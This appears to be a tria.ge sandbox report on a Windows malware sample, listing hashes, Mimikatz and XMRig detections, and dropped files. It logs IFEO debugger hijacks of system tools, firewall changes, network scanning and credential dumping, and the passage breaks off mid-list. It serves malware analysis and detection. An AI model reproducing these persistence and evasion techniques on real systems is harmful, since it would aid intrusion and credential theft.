Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
120s -
max time network
120s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
22/09/2024, 15:16
Behavioral task
behavioral1
Sample
3d097eed5dcf56effc3561d8dcfd69b3e4f124bdb104751925743a265b1e92e5N.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
3d097eed5dcf56effc3561d8dcfd69b3e4f124bdb104751925743a265b1e92e5N.exe
Resource
win10v2004-20240802-en
General
-
Target
3d097eed5dcf56effc3561d8dcfd69b3e4f124bdb104751925743a265b1e92e5N.exe
-
Size
8.6MB
-
MD5
65acc66e2c374910e2fb6cf7082fbfd0
-
SHA1
ddfe93650ff35db99ee7db976f63229314d9d5ce
-
SHA256
3d097eed5dcf56effc3561d8dcfd69b3e4f124bdb104751925743a265b1e92e5
-
SHA512
e83f4ec2f0e504afb85d182c8760f424ed41af0f5afc162b9e2a5bbe7c11715f5c9ce089f5faf36c87384362491de33fed6d4cd571ba30c010834d800c1f6ed3
-
SSDEEP
98304:YmBtyYXmknGzZr+HdO5SEPFtmOZ9G1Md5v/nZVnivsAl0eXTBJYa5roSCaa:I6mknGzwHdOgEPHd9BbX/nivPlTXTYr
Malware Config
Signatures
-
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 3184 created 2148 3184 cerjnki.exe 38 -
Contacts a large (15411) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
-
XMRig Miner payload 9 IoCs
resource yara_rule behavioral2/memory/996-177-0x00007FF6A8800000-0x00007FF6A8920000-memory.dmp xmrig behavioral2/memory/996-185-0x00007FF6A8800000-0x00007FF6A8920000-memory.dmp xmrig behavioral2/memory/996-202-0x00007FF6A8800000-0x00007FF6A8920000-memory.dmp xmrig behavioral2/memory/996-215-0x00007FF6A8800000-0x00007FF6A8920000-memory.dmp xmrig behavioral2/memory/996-224-0x00007FF6A8800000-0x00007FF6A8920000-memory.dmp xmrig behavioral2/memory/996-233-0x00007FF6A8800000-0x00007FF6A8920000-memory.dmp xmrig behavioral2/memory/996-246-0x00007FF6A8800000-0x00007FF6A8920000-memory.dmp xmrig behavioral2/memory/996-251-0x00007FF6A8800000-0x00007FF6A8920000-memory.dmp xmrig behavioral2/memory/996-252-0x00007FF6A8800000-0x00007FF6A8920000-memory.dmp xmrig -
mimikatz is an open source tool to dump credentials on Windows 5 IoCs
resource yara_rule behavioral2/memory/2416-0-0x0000000000400000-0x0000000000AA4000-memory.dmp mimikatz behavioral2/memory/2416-4-0x0000000000400000-0x0000000000AA4000-memory.dmp mimikatz behavioral2/files/0x000700000002347c-6.dat mimikatz behavioral2/memory/1632-8-0x0000000000400000-0x0000000000AA4000-memory.dmp mimikatz behavioral2/memory/2956-137-0x00007FF736F50000-0x00007FF73703E000-memory.dmp mimikatz -
Drops file in Drivers directory 2 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts cerjnki.exe File created C:\Windows\system32\drivers\npf.sys wpcap.exe -
Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe cerjnki.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe cerjnki.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe cerjnki.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe cerjnki.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe cerjnki.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" cerjnki.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" cerjnki.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" cerjnki.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" cerjnki.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe cerjnki.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" cerjnki.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" cerjnki.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" cerjnki.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" cerjnki.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe cerjnki.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" cerjnki.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" cerjnki.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" cerjnki.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" cerjnki.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe cerjnki.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe cerjnki.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" cerjnki.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe cerjnki.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe cerjnki.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe cerjnki.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" cerjnki.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe cerjnki.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe cerjnki.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" cerjnki.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe cerjnki.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe cerjnki.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" cerjnki.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" cerjnki.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe cerjnki.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" cerjnki.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe cerjnki.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" cerjnki.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe cerjnki.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe cerjnki.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" cerjnki.exe -
Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 864 netsh.exe 3344 netsh.exe -
Executes dropped EXE 28 IoCs
pid Process 1632 cerjnki.exe 3184 cerjnki.exe 3836 wpcap.exe 4976 lmstittgt.exe 2956 vfshost.exe 3244 migibaipq.exe 452 xohudmc.exe 3600 hmdriy.exe 996 ittilk.exe 1016 migibaipq.exe 2832 migibaipq.exe 3108 migibaipq.exe 1096 cerjnki.exe 3632 migibaipq.exe 2784 migibaipq.exe 1632 migibaipq.exe 1932 migibaipq.exe 3520 migibaipq.exe 2404 migibaipq.exe 2120 migibaipq.exe 3580 migibaipq.exe 3300 migibaipq.exe 1564 migibaipq.exe 5100 migibaipq.exe 3568 migibaipq.exe 4816 migibaipq.exe 504 zljshrqzb.exe 228 cerjnki.exe -
Loads dropped DLL 12 IoCs
pid Process 3836 wpcap.exe 3836 wpcap.exe 3836 wpcap.exe 3836 wpcap.exe 3836 wpcap.exe 3836 wpcap.exe 3836 wpcap.exe 3836 wpcap.exe 3836 wpcap.exe 4976 lmstittgt.exe 4976 lmstittgt.exe 4976 lmstittgt.exe -
resource yara_rule behavioral2/files/0x00070000000234c8-134.dat upx behavioral2/memory/2956-135-0x00007FF736F50000-0x00007FF73703E000-memory.dmp upx behavioral2/memory/2956-137-0x00007FF736F50000-0x00007FF73703E000-memory.dmp upx behavioral2/files/0x00070000000234d3-140.dat upx behavioral2/memory/3244-141-0x00007FF6BB5E0000-0x00007FF6BB63B000-memory.dmp upx behavioral2/memory/3244-159-0x00007FF6BB5E0000-0x00007FF6BB63B000-memory.dmp upx behavioral2/memory/996-164-0x00007FF6A8800000-0x00007FF6A8920000-memory.dmp upx behavioral2/files/0x00070000000234d0-162.dat upx behavioral2/memory/1016-170-0x00007FF6BB5E0000-0x00007FF6BB63B000-memory.dmp upx behavioral2/memory/2832-174-0x00007FF6BB5E0000-0x00007FF6BB63B000-memory.dmp upx behavioral2/memory/996-177-0x00007FF6A8800000-0x00007FF6A8920000-memory.dmp upx behavioral2/memory/3108-179-0x00007FF6BB5E0000-0x00007FF6BB63B000-memory.dmp upx behavioral2/memory/996-185-0x00007FF6A8800000-0x00007FF6A8920000-memory.dmp upx behavioral2/memory/3632-188-0x00007FF6BB5E0000-0x00007FF6BB63B000-memory.dmp upx behavioral2/memory/2784-192-0x00007FF6BB5E0000-0x00007FF6BB63B000-memory.dmp upx behavioral2/memory/1632-196-0x00007FF6BB5E0000-0x00007FF6BB63B000-memory.dmp upx behavioral2/memory/1932-200-0x00007FF6BB5E0000-0x00007FF6BB63B000-memory.dmp upx behavioral2/memory/996-202-0x00007FF6A8800000-0x00007FF6A8920000-memory.dmp upx behavioral2/memory/3520-205-0x00007FF6BB5E0000-0x00007FF6BB63B000-memory.dmp upx behavioral2/memory/2404-209-0x00007FF6BB5E0000-0x00007FF6BB63B000-memory.dmp upx behavioral2/memory/2120-213-0x00007FF6BB5E0000-0x00007FF6BB63B000-memory.dmp upx behavioral2/memory/996-215-0x00007FF6A8800000-0x00007FF6A8920000-memory.dmp upx behavioral2/memory/3580-218-0x00007FF6BB5E0000-0x00007FF6BB63B000-memory.dmp upx behavioral2/memory/3300-222-0x00007FF6BB5E0000-0x00007FF6BB63B000-memory.dmp upx behavioral2/memory/996-224-0x00007FF6A8800000-0x00007FF6A8920000-memory.dmp upx behavioral2/memory/1564-227-0x00007FF6BB5E0000-0x00007FF6BB63B000-memory.dmp upx behavioral2/memory/5100-230-0x00007FF6BB5E0000-0x00007FF6BB63B000-memory.dmp upx behavioral2/memory/3568-232-0x00007FF6BB5E0000-0x00007FF6BB63B000-memory.dmp upx behavioral2/memory/996-233-0x00007FF6A8800000-0x00007FF6A8920000-memory.dmp upx behavioral2/memory/4816-235-0x00007FF6BB5E0000-0x00007FF6BB63B000-memory.dmp upx behavioral2/memory/996-246-0x00007FF6A8800000-0x00007FF6A8920000-memory.dmp upx behavioral2/memory/996-251-0x00007FF6A8800000-0x00007FF6A8920000-memory.dmp upx behavioral2/memory/996-252-0x00007FF6A8800000-0x00007FF6A8920000-memory.dmp upx -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 64 ifconfig.me 65 ifconfig.me -
Creates a Windows Service
-
Drops file in System32 directory 18 IoCs
description ioc Process File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File created C:\Windows\system32\wpcap.dll wpcap.exe File created C:\Windows\system32\Packet.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies cerjnki.exe File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe File created C:\Windows\SysWOW64\hmdriy.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft cerjnki.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache cerjnki.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 cerjnki.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content cerjnki.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DDAB91A53CE5876D153BF0B6B3BA7DCE cerjnki.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData cerjnki.exe File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\hmdriy.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 cerjnki.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE cerjnki.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 cerjnki.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DDAB91A53CE5876D153BF0B6B3BA7DCE cerjnki.exe -
Drops file in Program Files directory 3 IoCs
description ioc Process File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe File created C:\Program Files\WinPcap\LICENSE wpcap.exe File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe -
Drops file in Windows directory 60 IoCs
description ioc Process File created C:\Windows\iiliuscuk\UnattendGC\specials\ucl.dll cerjnki.exe File created C:\Windows\iiliuscuk\UnattendGC\specials\svschost.xml cerjnki.exe File created C:\Windows\iiliuscuk\trrjzeypr\wpcap.exe cerjnki.exe File created C:\Windows\iiliuscuk\UnattendGC\specials\docmicfg.exe cerjnki.exe File created C:\Windows\bitpvjte\vimpcsvc.xml cerjnki.exe File opened for modification C:\Windows\bitpvjte\svschost.xml cerjnki.exe File created C:\Windows\iiliuscuk\upbdrjv\swrpwe.exe cerjnki.exe File created C:\Windows\iiliuscuk\UnattendGC\svschost.xml cerjnki.exe File created C:\Windows\iiliuscuk\UnattendGC\vimpcsvc.xml cerjnki.exe File created C:\Windows\iiliuscuk\UnattendGC\specials\tucl-1.dll cerjnki.exe File created C:\Windows\iiliuscuk\UnattendGC\spoolsrv.xml cerjnki.exe File created C:\Windows\bitpvjte\schoedcl.xml cerjnki.exe File opened for modification C:\Windows\bitpvjte\cerjnki.exe 3d097eed5dcf56effc3561d8dcfd69b3e4f124bdb104751925743a265b1e92e5N.exe File created C:\Windows\iiliuscuk\trrjzeypr\zljshrqzb.exe cerjnki.exe File created C:\Windows\bitpvjte\docmicfg.xml cerjnki.exe File opened for modification C:\Windows\iiliuscuk\Corporate\log.txt cmd.exe File created C:\Windows\iiliuscuk\UnattendGC\specials\schoedcl.exe cerjnki.exe File created C:\Windows\iiliuscuk\UnattendGC\specials\spoolsrv.xml cerjnki.exe File created C:\Windows\iiliuscuk\trrjzeypr\Packet.dll cerjnki.exe File created C:\Windows\iiliuscuk\UnattendGC\specials\xdvl-0.dll cerjnki.exe File created C:\Windows\iiliuscuk\UnattendGC\specials\spoolsrv.exe cerjnki.exe File created C:\Windows\iiliuscuk\UnattendGC\specials\vimpcsvc.exe cerjnki.exe File created C:\Windows\iiliuscuk\UnattendGC\AppCapture32.dll cerjnki.exe File created C:\Windows\ime\cerjnki.exe cerjnki.exe File created C:\Windows\iiliuscuk\UnattendGC\specials\cnli-1.dll cerjnki.exe File created C:\Windows\iiliuscuk\UnattendGC\specials\posh-0.dll cerjnki.exe File created C:\Windows\iiliuscuk\UnattendGC\specials\ssleay32.dll cerjnki.exe File created C:\Windows\bitpvjte\svschost.xml cerjnki.exe File created C:\Windows\iiliuscuk\trrjzeypr\lmstittgt.exe cerjnki.exe File created C:\Windows\iiliuscuk\UnattendGC\specials\libxml2.dll cerjnki.exe File created C:\Windows\iiliuscuk\UnattendGC\Shellcode.ini cerjnki.exe File created C:\Windows\iiliuscuk\trrjzeypr\ip.txt cerjnki.exe File created C:\Windows\iiliuscuk\UnattendGC\specials\schoedcl.xml cerjnki.exe File opened for modification C:\Windows\bitpvjte\spoolsrv.xml cerjnki.exe File created C:\Windows\iiliuscuk\Corporate\mimilib.dll cerjnki.exe File created C:\Windows\iiliuscuk\trrjzeypr\scan.bat cerjnki.exe File opened for modification C:\Windows\iiliuscuk\trrjzeypr\Result.txt zljshrqzb.exe File created C:\Windows\iiliuscuk\UnattendGC\specials\crli-0.dll cerjnki.exe File opened for modification C:\Windows\bitpvjte\docmicfg.xml cerjnki.exe File opened for modification C:\Windows\bitpvjte\schoedcl.xml cerjnki.exe File created C:\Windows\iiliuscuk\UnattendGC\docmicfg.xml cerjnki.exe File created C:\Windows\bitpvjte\spoolsrv.xml cerjnki.exe File created C:\Windows\iiliuscuk\UnattendGC\specials\svschost.exe cerjnki.exe File created C:\Windows\iiliuscuk\UnattendGC\specials\vimpcsvc.xml cerjnki.exe File created C:\Windows\iiliuscuk\trrjzeypr\wpcap.dll cerjnki.exe File created C:\Windows\iiliuscuk\UnattendGC\specials\tibe-2.dll cerjnki.exe File opened for modification C:\Windows\bitpvjte\vimpcsvc.xml cerjnki.exe File created C:\Windows\iiliuscuk\UnattendGC\specials\coli-0.dll cerjnki.exe File created C:\Windows\iiliuscuk\UnattendGC\specials\trfo-2.dll cerjnki.exe File created C:\Windows\iiliuscuk\UnattendGC\specials\exma-1.dll cerjnki.exe File created C:\Windows\bitpvjte\cerjnki.exe 3d097eed5dcf56effc3561d8dcfd69b3e4f124bdb104751925743a265b1e92e5N.exe File opened for modification C:\Windows\iiliuscuk\trrjzeypr\Packet.dll cerjnki.exe File created C:\Windows\iiliuscuk\Corporate\vfshost.exe cerjnki.exe File created C:\Windows\iiliuscuk\UnattendGC\specials\libeay32.dll cerjnki.exe File created C:\Windows\iiliuscuk\UnattendGC\specials\trch-1.dll cerjnki.exe File created C:\Windows\iiliuscuk\UnattendGC\specials\docmicfg.xml cerjnki.exe File created C:\Windows\iiliuscuk\UnattendGC\AppCapture64.dll cerjnki.exe File created C:\Windows\iiliuscuk\Corporate\mimidrv.sys cerjnki.exe File created C:\Windows\iiliuscuk\UnattendGC\specials\zlib1.dll cerjnki.exe File created C:\Windows\iiliuscuk\UnattendGC\schoedcl.xml cerjnki.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4500 sc.exe 5036 sc.exe 3180 sc.exe 832 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe -
System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 3d097eed5dcf56effc3561d8dcfd69b3e4f124bdb104751925743a265b1e92e5N.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language lmstittgt.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language xohudmc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened 